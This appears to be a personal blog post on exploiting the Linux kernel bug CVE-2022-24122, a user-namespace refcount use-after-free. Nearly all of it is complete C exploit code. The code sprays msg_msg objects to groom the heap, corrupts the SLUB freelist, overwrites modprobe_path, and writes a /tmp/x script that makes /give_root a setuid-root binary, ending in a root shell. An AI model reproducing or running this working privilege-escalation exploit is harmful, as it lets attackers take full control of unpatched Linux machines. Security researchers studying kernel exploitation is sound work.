exploiting the kernel - CVE-2022-24122
for the first time I exploited the kernel in real life.
I used the bug CVE-2022-24122, which allowed a use-after-free due to bad use of refcount
.
the exploit itself requires a kaslr leak to prevent an oops during the process, as well as access to user namespaces. it is not really reliable, needs many tries :D
to get root I corrupted the slub freelist and wrote to modprobe_path
.
the exploit code can be found on GitHub or in the following:
#define _GNU_SOURCE
#include <time.h>
#include <stdio.h>
#include <sched.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/syscall.h>
#define PAGESIZE 0x1000
#define ADDR_NO_CRASH 0x1655980
#define MODPROBE_PATH 0x1651460
#define MSG_MSGSEG 0x16559c0
#define KINFO(x) printf("[*] %s\n", x);
#define KSUCC(x) printf("[+] %s\n", x);
#define KERR(x) printf("[-] %s\n", x);
int msqid;
unsigned long kbase;
struct dummy_msg {
long mtype;
char mtext[0x8];
};
void bind_cpu(int cpu) {
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(cpu, &mask);
sched_setaffinity(0, sizeof(mask), &mask);
return;
}
int open_shm(int flags, int cnt) {
int shm = shmget((key_t)cnt,0x1000,flags);
if(shm == -1) perror("shm_open");
return shm;
}
int *open_shm_arr(int cnt) {
int *shmfds = calloc(sizeof(int), cnt);
for(int i = 0; i < cnt; i++)
shmfds[i] = open_shm(IPC_CREAT|S_IRUSR|S_IWUSR, i);
return shmfds;
}
void give_ok(int cnt) {
struct dummy_msg msg;
msg.mtype = 0x4141414141414141;
msg.mtext[0] = 0x0;
for(int i = 0; i < cnt; i++)
msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
return;
}
void wait_ok() {
struct dummy_msg msg;
msgrcv(msqid, &msg, sizeof(msg.mtext), 0, 0);
return;
}
int child_afk(void *x) {
wait_ok();
return 0;
}
int child_exp(void *x) {
if(shmctl(*(int *)x, SHM_LOCK, 0) == -1) perror("shmctl");
wait_ok();
return 0;
}
void spray_ns_free(int cnt, int *shmfds) {
pid_t pid;
int *pids = calloc(sizeof(int), cnt);
void *stack;
int shmcnt = 0;
pid = fork();
switch(pid) {
case 0:
for(int i = 0; i < cnt; i++) {
stack = mmap(NULL, PAGESIZE, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
if(stack == (void *)-1) perror("mmap");
if(i % 0x8 == 0) {
pids[i] = clone(child_exp, stack+PAGESIZE, SIGCHLD|CLONE_NEWUSER, (void *)&shmfds[shmcnt++]);
sleep(0.5);
} else {
pids[i] = clone(child_afk, stack+PAGESIZE, SIGCHLD|CLONE_NEWUSER, NULL);
}
if(pids[i] == -1) perror("clone");
}
exit(0);
default:
break;
}
waitpid(pid, NULL, 0);
sleep(1);
return;
}
void spray_msg_generic(int sz, int cnt) {
int *msqids = calloc(sizeof(int), cnt);
struct {
long mtype;
char mtext[0x2000];
} msg_send, msg_recv;
memset(msg_send.mtext, 0x45, 0x2000);
msg_send.mtype = 0x4141414141414141;
for(int i = 0; i < cnt; i++) {
msqids[i] = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
if(msqids[i] == -1) perror("msgget");
if(sz > 0x1000-0x30) {
msgsnd(msqids[i], &msg_send, sz-0x38, 0);
}
else
msgsnd(msqids[i], &msg_send, sz-0x30, 0);
}
return;
}
int alloc_msg_get_id(int sz) {
int msqid;
struct {
long mtype;
char mtext[0x2000];
} msg_send;
memset(msg_send.mtext, 0x0, 0x2000);
msg_send.mtype = 0x4141414141414141;
msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
if(msqid == -1) perror("msgget");
if(sz > 0x1000-0x30) {
msgsnd(msqid, &msg_send, sz-0x38, 0);
}
else
msgsnd(msqid, &msg_send, sz-0x30, 0);
return msqid;
}
int alloc_msg_get_id_queue(int sz1, int sz2, int sz3) {
int msqid;
struct {
long mtype;
char mtext[0x2000];
} msg_send;
memset(msg_send.mtext, 0x0, 0x2000);
msg_send.mtype = 0x4141414141414141;
msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
if(msqid == -1) perror("msgget");
if(sz1 > 0x1000-0x30) {
msgsnd(msqid, &msg_send, sz1-0x38, 0);
msgsnd(msqid, &msg_send, sz2-0x38, 0);
msgsnd(msqid, &msg_send, sz3-0x38, 0);
}
else {
msgsnd(msqid, &msg_send, sz1-0x30, 0);
msgsnd(msqid, &msg_send, sz2-0x30, 0);
msgsnd(msqid, &msg_send, sz3-0x30, 0);
}
return msqid;
}
void free_msg_by_id(int id, int sz) {
struct {
long mtype;
char mtext[0x2000];
} msg_recv;
msg_recv.mtype = 0x10;
if(sz > 0x1000-0x30) {
msgrcv(id, &msg_recv, sz-0x38, 0, 0);
}
else
msgrcv(id, &msg_recv, sz-0x30, 0, 0);
return;
}
int alloc_dummy_msg() {
int msqid;
struct {
long mtype;
char mtext[0xc0-0x30];
} msg_send;
memset(msg_send.mtext, 0x45, 0x79);
for(int i = 1; i < 0xc0-0x30-0x7; i += 8)
*(unsigned long *)&msg_send.mtext[i] = kbase + ADDR_NO_CRASH;
msg_send.mtype = 0x6161616161616161;
msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
if(msqid == -1) perror("msgget");
msgsnd(msqid, &msg_send, 0xc0-0x30, 0);
return msqid;
}
void alloc_overlapping_msg() {
int msqid;
struct {
long mtype;
char mtext[0xc0-0x30];
} msg_send;
memset(msg_send.mtext, 0x0, 0xc0-0x30);
*(unsigned long *)&msg_send.mtext[0x50] = kbase + ADDR_NO_CRASH;
*(unsigned long *)&msg_send.mtext[0x58] = kbase + ADDR_NO_CRASH;
*(unsigned long *)&msg_send.mtext[0x70] = 0x0;
*(unsigned long *)&msg_send.mtext[0x78] = kbase + MSG_MSGSEG;
msg_send.mtype = 0x6161616161616161;
msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
if(msqid == -1) perror("msgget");
msgsnd(msqid, &msg_send, 0xc0-0x30, 0);
return;
}
void alloc_corrupting_msg() {
int msqid;
struct {
long mtype;
char mtext[0xc0-0x30];
} msg_send;
memset(msg_send.mtext, 0x0, 0xc0-0x30);
for(int i = 0; i < 0xc0-0x30; i += 8)
*(unsigned long *)&msg_send.mtext[i] = kbase + MODPROBE_PATH-0x30;
msg_send.mtype = 0x6161616161616161;
msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
if(msqid == -1) perror("msgget");
msgsnd(msqid, &msg_send, 0xc0-0x30, 0);
return;
}
void alloc_modprobe_msg() {
int msqid;
struct {
long mtype;
char mtext[0xc0-0x30];
} msg_send;
strncpy(msg_send.mtext, "/tmp/x", 6);
msg_send.mtext[6] = '\x00';
msg_send.mtype = 0x6161616161616161;
msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
if(msqid == -1) perror("msgget");
msgsnd(msqid, &msg_send, 0xc0-0x30, 0);
return;
}
void spray_msg_overwrite(int cnt) {
int *msqids = calloc(sizeof(int), cnt);
struct {
long mtype;
char mtext[2833];
} msg_send, msg_recv;
for(int i = 0; i < 2832; i += 8)
*(unsigned long *)&msg_send.mtext[i] = kbase + ADDR_NO_CRASH;
strncpy(&msg_send.mtext[2832], "\xf9", 0x1); // pratial overwrite
msg_send.mtype = 0x4141414141414141;
for(int i = 0; i < cnt; i++) {
msqids[i] = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
if(msqids[i] == -1) perror("msgget");
msgsnd(msqids[i], &msg_send, sizeof(msg_send.mtext), 0);
}
msgrcv(msqids[cnt-1], &msg_recv, sizeof(msg_recv.mtext), 0, 0);
return;
}
int exploit(void *x) {
wait_ok();
int *shmfds = open_shm_arr(300);
KINFO("allocated 300 shm segments");
bind_cpu(0);
KINFO("spraying child user_namespaces ; referenced through of ucounts parent user_namespace");
spray_ns_free(300, shmfds);
give_ok(300);
sleep(3);
KINFO("user_namespaces freed -> cache freed");
KINFO("spraying msg_msg to take up free'd pages of user_namespaces cache");
for(int i = 0; i < 0x80; i++) {
spray_msg_overwrite(0x10);
}
KINFO("triggering cross-cache UAF (referencing free'd child user_namespraces)");
for(int i = 0; i < 300; i++)
if(shmctl(shmfds[i], IPC_RMID, 0) == -1) perror("shmctl close");
KSUCC("decremented 2nd lowest byte of m_list");
give_ok(1);
while(1) sleep(20);
return 0;
}
int main() {
char uid_map[64] = {0};
char gid_map[64] = {0};
char setgroups[64] = {0};
void *stack;
pid_t pid;
kbase = 0xffffffff81000000;
msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
KINFO("imaginary kernel base leak: 0xffffffff81000000");
KINFO("pre-spraying in kmalloc-192 cache");
spray_msg_generic(0xc0, 0x16);
sleep(0.5);
KINFO("preparing thread -> allocating ucounts (hopefully 0x100 aligned)");
stack = mmap(NULL, PAGESIZE*4, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
if(stack == (void *)-1) perror("mmap");
pid = clone(exploit, stack+PAGESIZE*4, SIGCHLD|CLONE_NEWUSER, NULL);
if(pid == -1) perror("clone");
KINFO("doing heap feng shui to ensure a right placement of msg_msg structs");
int x1 = alloc_msg_get_id(0xc0);
int x2 = alloc_msg_get_id(0xc0);
int x3 = alloc_msg_get_id(0xc0);
int x4 = alloc_msg_get_id(0xc0);
int x5 = alloc_msg_get_id(0xc0);
free_msg_by_id(x4, 0xc0);
free_msg_by_id(x3, 0xc0);
free_msg_by_id(x5, 0xc0);
free_msg_by_id(x2, 0xc0);
free_msg_by_id(x1, 0xc0);
alloc_dummy_msg();
int id = alloc_msg_get_id_queue(0x100, 0xc0, 0xc0);
alloc_overlapping_msg();
int target = alloc_msg_get_id(0x10c0);
snprintf(setgroups, 64, "/proc/%d/setgroups", pid);
snprintf(uid_map, 64, "/proc/%d/uid_map", pid);
snprintf(gid_map, 64, "/proc/%d/gid_map", pid);
int setgroups_fd = open(setgroups, O_RDWR|O_CREAT);
int uid_fd = open(uid_map, O_RDWR|O_CREAT);
int gid_fd = open(gid_map, O_RDWR|O_CREAT);
write(setgroups_fd, "deny\n", 5);
write(uid_fd, "0 1000 1\n", 9);
write(gid_fd, "0 1000 1\n", 9);
KSUCC("starting exploit thread");
give_ok(0x1);
sleep(2);
wait_ok();
KINFO("freeing corrupted message queue");
free_msg_by_id(id, 0x100);
free_msg_by_id(id, 0xc0);
free_msg_by_id(target, 0x10c0);
free_msg_by_id(id, 0xc0);
KSUCC("triggered overlapping free");
KINFO("corrupting freepointer");
alloc_corrupting_msg();
spray_msg_generic(0x10c0, 0x1);
alloc_modprobe_msg();
KSUCC("overwrote modprobe_path to /tmp/x");
system("touch /tmp/x");
system("echo -e \"#!/bin/sh\\nchown 0:0 /give_root\\nchmod a+sx /give_root\" > /tmp/x");
system("chmod a+rwx /tmp/x");
system("touch /tmp/unknown");
system("echo -en \"\\xff\\xff\\xff\\xff\" > /tmp/unknown");
system("chmod a+rwx /tmp/unknown");
system("/tmp/unknown");
KSUCC("got root!");
system("/give_root");
return 0;
}